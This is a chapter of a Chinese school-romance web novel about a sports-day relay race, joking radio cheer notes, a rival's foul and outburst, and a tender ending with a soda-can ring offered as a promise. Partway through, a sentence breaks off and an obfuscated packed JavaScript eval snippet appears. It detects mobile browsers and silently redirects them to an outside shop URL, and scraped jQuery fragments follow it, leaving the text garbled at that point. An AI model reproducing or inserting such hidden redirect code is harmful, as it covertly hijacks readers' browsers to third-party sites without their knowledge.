69. 以后给你换个大的
作品:《温和四季》 楚婷这招确实狠。
为了保住手机,几个2班的同学被逼得没办法,蹲在广播站门口临时支起的小桌子旁,抓耳挠腮。
写给谁?林宇舟?李欣桐?怎么写?总不能真就写“加油”“冲啊”吧?
时间紧迫,也顾不得什么文采和深刻了。
几个人凑在一起,潦草又敷衍地拼凑出了两份“加油稿”,字迹龙飞凤舞,内容……一言难尽。
写完,赶紧塞给了广播站门口的值日生,完成任务般松了口气。
那值日生接过纸条,看着上面熟悉的班级和狗爬似的字,忍不住嘟囔:“怎么又是2班的……今天第几份了?”
另一个正在播音的值日生,恰好念到二班另一个不太正经的稿子。他清了清嗓子,用广播站特有的语调念道:
“社会没有遮天树,桐姐带你闯中路!高三(2)班的同学为李欣桐同学加油!愿你如中路法王,carry全场,带领班级走向胜利!”
“噗——!”
正在大本营喝水的李欣桐,一口水全喷了出来,呛得连连咳嗽,脸都涨红了。
她瞪大眼睛,难以置信地望向广播站方向,咬牙切齿地低吼:“是哪个神人给我写的这玩意儿?!别让我逮到他!!”
而此刻,正在小卖部附近优哉游哉买烤肠的叶萧云,突然毫无征兆地打了个大大的喷嚏,手里的烤肠都差点吓掉。
他揉了两下鼻子,莫名觉得后背有点发凉,疑惑地看了看天:“……谁在骂我?”
没过一会儿,广播又一次响了起来。这次的语调正经了许多,甚至还带了点独属于校园广播的抒情意味:
“接下来,是一封来自高三(2)班的加油稿。致陈温同学:骄阳高照,却挡不住青春的光芒。你如你的名字一般,如温煦的风,悄然融入我们的集体,带来滋润与温暖。愿你在此刻的赛场上,只为自己的心而奔跑,无拘无束,挥洒属于你的不宁静。也愿你,心想事成,前途无量。高三(2)班,为你加油!”
在操场上听到这段话,陈温几乎在0.01秒内就锁定了“嫌疑人”。除了那人,没人会用这种含蓄又带着点个人印记的方式给他写东西,还写得……这么让人脸红。
他二话不说,拔腿就朝大本营旁那个挺拔的身影跑过去。
沈泽许正低头看着手机,似乎没注意到他气势汹汹地冲过来,也可能注意到了但没想躲。
陈温跑到近前,扬起手,不轻不重地一巴掌拍在沈泽许的小臂上,发出清脆的“啪”一声。
“沈泽许!”陈温又羞又恼,“谁教你这样写加油稿的!肉麻死了!”
沈泽许这才抬起头,脸上没什么表情。陈温还想开口,一旁却突然传来两道带着震惊和好奇的抽气声。
“前社长这是……?”
陈温闻声猛地转头,这才发现不远处站着两个看起来像高一高二的男生,正目瞪口呆地看着他们,表情精彩纷呈,显然是目睹了“陈温飞奔过来打沈泽许”的全过程。
陈温当场石化,僵在原地,脸上的热度“腾”地一下烧到了脖子根。
他刚才……是不是太激动了?是不是……被看到了?
沈泽许倒是很淡定,仿佛只是被蚊子叮了一下。他朝那两个学弟微微颔首,语气平静:“没事。等一下我把解决方案发到你们社群里。先走了。”
说完,他非常自然地伸手,拉住了还处在石化状态的陈温的手腕,稍稍用力,将石头人带离了现场。
远离那两个学弟,陈温才如梦初醒般回神,脸上热度未退,小声又急切地问:“他们……是谁啊?”
“文学社现任的正副社长。”沈泽许松开他的手腕,语气寻常。
“他们找你干嘛?”
“社团活动遇到点流程上的问题,过来问问以前怎么处理的。”
“你不是学生会会长吗?”陈温问。
“是啊,”沈泽许看了他一眼,慢条斯理地说,“不过我早就卸任了。在那之前……我当过文学社社长。身兼数职过一段时间。”
“……”陈温彻底无语了。但刚才那点被人撞见的尴尬和羞恼,被“我男朋友到底还有多少我不知道的奇怪技能点”的疑惑取代。
又到了检录时间。接力队的四人已经做好了充分的热身,肌肉处于最佳准备状态。
比起昨天初赛时的忐忑,今天几人的脸上更多的是沉稳和自信。
操场上一眼望去,两侧早已被观众围得水泄不通,人头攒动,像一道道高矮不一的围栏。
喧闹声震得人耳膜嗡嗡作响,体育老师拿着扩音,喇叭,在跑道边来回走动,好几次提高音量提醒:“观众朋友们!请控制音量!保持安静!让运动员听清发令枪!”
一个负责打听敌情的同学挤过来,压低声音对林宇舟他们说:“我刚打听了,昨天小组第五那个班,也是因为掉棒才落后的,他们绝对速度好像跟咱们差不多,决赛要小心点,可能是劲敌。”
“行,我们知道了。”林宇舟点点头,眼神锐利。他最后拍了拍陈温的肩膀,又跟其他几人交流眼神,随后深吸一口气,转身,大步走向第一棒的起跑位置。
“运动员就位,各就各位,预备——”
“嘭!”
发令枪响,炸裂在骤然寂静的空气中。
八条跑道上的第一棒选手如同离膛的子弹,猛地冲出!他们并驾齐驱,如同雨后疯长的春笋,争先恐后地朝着第一的宝座冲刺,前后差距微乎其微,肉眼几乎分不清谁一谁二。
交接区,紧张得让人屏息。
林宇舟和李欣桐的交接依旧完美流畅,李欣桐接棒后,凭借出色的直道能力,稍稍拉开了微弱的优势。
但到了第三棒,差距开始明显。集体项目就是这样,一个人的天分和努力,终究敌不过团队的严丝合缝。一个小失误,或者交接瞬间的毫厘之差,都会被无限放大。
第三棒的女生眼神坚定,接棒后奋力向前冲,与旁边第五道的选手几乎并驾齐驱,互不相让。
最后的直道,第四棒区域。
陈温早已做好起跑姿势,身体前倾,目光锁定着即将冲来的队友。然而,他眼角的余光,却瞥见身旁第五道上站着的,竟然是杨子龙。
这家伙还和以前一样,微微抬着下巴,眼神扫过周围紧张的选手,最后落在陈温身上时,带着一种毫不掩饰的、居高临下的轻视,嘴角似乎还勾着若有若无的讥诮。
陈温心头莫名火起,但现在不是计较这个的时候。他强迫自己收回目光,不再看杨子龙,将全部注意力都集中在越来越近的队友和那根接力棒上。
两人之间,形成了一种诡异的、互不干扰的真空地带。
没有眼神交流,没有言语,甚至连身体都下意识地保持着最远的距离。空气中弥漫着火药味。
当第三棒的女生们拼尽全力冲过来时,陈温和杨子龙都已做好了最充分的准备。两人几乎是同时伸出手,同时接住了那根承载着希望的接力棒!
接棒瞬间,两人如同被注入最强动力的引擎,猛地爆发出全部速度!一下子就将其他道的选手甩开在后头。
最后的直道成了他们两人的对决战场。呼吸越来越急促,喉咙再次泛起血腥味,腿部肌肉酸胀得像灌了铅,但陈温没有一丝一毫放弃的念头,他咬紧牙关,死死盯着前方那道越来越近的终点线。
杨子龙显然也拼尽了全力,面目甚至有些狰狞。就在距离终点线最后十几步的地方,他猛地闭上眼,发出了一声低吼,身体做出一个不顾一切的、向前猛倾的冲刺动作!
他的身体率先重重地“撞”过了终点线,随即,陈温也紧随其后冲过。
杨子龙由于惯性又冲出去好几米才堪堪停下,他双手撑着膝盖,大口喘气,而后猛地直起身,脸上爆发出巨大的喜悦,朝着自己班级的方向,用力挥舞着拳头,做了一个庆祝胜利的动作!
看台上属于他们班的区域爆发出巨大的欢呼。
陈温则因为体力透支和瞬间的失落,脚步踉跄,眼看就要摔倒,却被一双手稳稳扶住,接进了一个熟悉的怀抱里——是沈泽许,他不知何时已经等在了终点线后。
陈温几乎把全身的重量都靠在了沈泽许身上,头无力地抵在他的颈侧,胸膛剧烈起伏,喘得说不出完整的话,只断断续续地吐着热气:“我……尽力了……”
“嗯。”沈泽许一手环着他,另一只手安抚地拍着他的背,声音低沉而肯定。他看着陈温汗湿的侧脸,刚想说什么。
就在这时——
“哔——!!!”
一声极其尖锐的哨音,忽地刺破了属于杨子龙班级的欢呼。
紧接着,终点裁判严肃的声音通过扩音器清晰地传来:
“第五道,踩线犯规!成绩无效!”
“什么?!!!”
杨子龙脸上的狂喜瞬间凝固,变成了难以置信的惊愕和愤怒,他猛地转向裁判方向。
他班级的欢呼声也像是被掐住了脖子,戛然而止。
闻言,陈温乍然从沈泽许的颈侧抬起头,两人对视一眼,都从对方眼中看到了同样的震惊。
李欣桐一瘸一拐地小跑回大本营,快到地方时,却瞧见自家地盘居然被几个别班的男生占了,几个人围在一起,正用手机组团开黑,声音外放,吵吵嚷嚷。
原本负责看营的同学被挤到了旁边角落,敢怒不敢言。
李欣桐本来就因为比赛结果悬着心,加上脚疼,看到这一幕,火气“噌”地就上来了。
她几步冲过去,声音不大,却带着一股逼人的气势,指着那几个人:“喂!你们走错班级了!这里是2班大本营,赶紧走开!”
那几个男生正玩到兴头上,被这突如其来的呵斥吓了一跳,抬头看见李欣桐绷着脸的模样,又瞟到她身后慢慢聚拢过来的几个2班
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172002|196843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同学,自知理亏,嘀咕着“凶什么凶”,灰溜溜地走了。
负责看营的同学这才松了口气,一脸崇拜地看着李欣桐:“桐姐牛逼!”
李欣桐却没心情听奉承,她焦急地问:“谁赢了?接力!看到结果了吗?”
大本营离终点不远。看营的几个人皆是摇头,其中一个指了指终点方向:“看不清楚,好像有点乱,你自己看那边。”
李欣桐顺着方向望去,正好看见杨子龙情绪激动地指着裁判大声争辩、咒骂的样子。
接着,就见杨子龙猛地一脚踹翻了旁边一张用来放物品的折叠桌,桌子上的水杯、号码布撒了一地。
旁边一个似乎是他们班的女生或是工作人员一直在试图拉住他,劝阻他,但根本没有用。
杨子龙一把抢过裁判手里拿着的、似乎是成绩登记表之类的东西,在众目睽睽之下,狠狠撕成了几片,碎片被他用力扔在地上!
“我没有!!”“不是我干的!!”杨子龙愤怒的吼声,隐隐约约传了过来。
场面一片混乱,周围的观众都指指点点,裁判和赶来的体育老师脸色铁青。
请好假,陈温觉得喉咙干得冒烟,想去上次买过信封的小卖部买饮料。
没想到,那老板居然还记得他,说什么都不肯收钱,一个劲儿地说:“上次你钱给多了,已经付过了,这次算我的。”
陈温推辞不过,只好拿了一瓶纯净水和一罐雪碧,道了声谢离开。
他把纯净水递给沈泽许,自己“啪”地一声拉开雪碧的拉环,仰头就灌下去大半罐。
冰凉的气泡瞬间冲进口腔,带来一阵刺激性的清爽,稍稍压下了喉咙的干涩和心里的烦闷。
沈泽许拧开纯净水,也慢慢喝了几口。
两人都不是爱多话的性格,平时在一起也常常是安静的。但此刻的沉默,却既不沉闷,也不突兀,只是静静地并肩走着,各自消化着今天赛场上发生的一切。
出乎意料的事情,总让人感到隐隐的不安。
接力赛的冠军,兜兜转转,最终还是落回了2班手里。可陈温一点也开心不起来,胸口像堵着一团湿棉花。
他想不明白,杨子龙为什么要那样做?在证据确凿、有老师录像的情况下,还一口咬定裁判被买通了,偏袒“好学生”。
问题是他自己确实犯规了,结果就是这样。
那人还不服气,差点跟裁判打起来。
“你说他为什么要那样做?”陈温盯着脚下被踩得光滑的水泥地,闷声问。
沈泽许走在他旁边,声音没什么起伏,却一针见血:“自尊心受挫了吧。接受不了自己犯错,更接受不了因此输掉,尤其……是输给你。”
陈温扯了扯嘴角,想笑,却笑不出来,表情很快又严肃起来:“他好像……对我们有意见。”
“不是一直都有吗?”沈泽许反问,语气平淡得像在陈述天气。
是啊,一直都有。那种没来由的、带着敌意的打量和针对,像背景音一样存在着。只是今天,因为一场比赛,被放大到了无可回避的地步。
两人又沉默地走了一会儿,夕阳将影子拉得很长。或许是觉得气氛太沉,也或许是想转移注意力,陈温忽然停下脚步,没头没脑地说:“哎,你把右手伸出来。”
沈泽许看了他一眼,很顺从地把右手伸了过去,掌心向下,手指自然微曲,像一只得到指令、无条件信任主人的……某种大型犬科动物。
陈温握住他的手,手指有些凉。他低着头,很全神贯注地将一个坚硬的环状物,套向了沈泽许的无名指。
“咔。”
很轻的一声响,那个环——是刚才雪碧易拉罐的拉环——卡在了沈泽许无名指的指节处,再也推不上去。
“呀,小了。”陈温抬起头,有些不好意思地傻笑了两下,耳尖发红,“先……将就一下。以后……以后给你换个大的。”
“大的易拉罐环?”沈泽许低头看着自己手指上那个可怜巴巴的银色小圈,嘴角微微勾起。
陈温被他这句故意曲解的话噎住,没好气地想白他一眼,一字一句地纠正:“是真的戒指!大的!真的!”
“可是,”沈泽许脸上的笑意淡了些,他抬起眼,眸光沉静,“我不喜欢戒指。”
“为什么?”
沈泽许沉默了片刻,眼帘微微垂下,长长的睫毛在眼下投出一小片阴影,似乎真的在认真思索这个他从未想过的问题。
半晌,他才重新抬起眼,目光直直地望进陈温的眼底,开口道:
“感觉……像被戒指锁住,困住了。”
陈温的心沉了下去,握着沈泽许的手也不自觉地松了松。
但沈泽许反手握住了他想要退缩的手指,力道不重。他注视对方有些失落的双眼,很慢、很认真地,把后半句话说完:
“但如果是你,”
“我愿意被锁。”

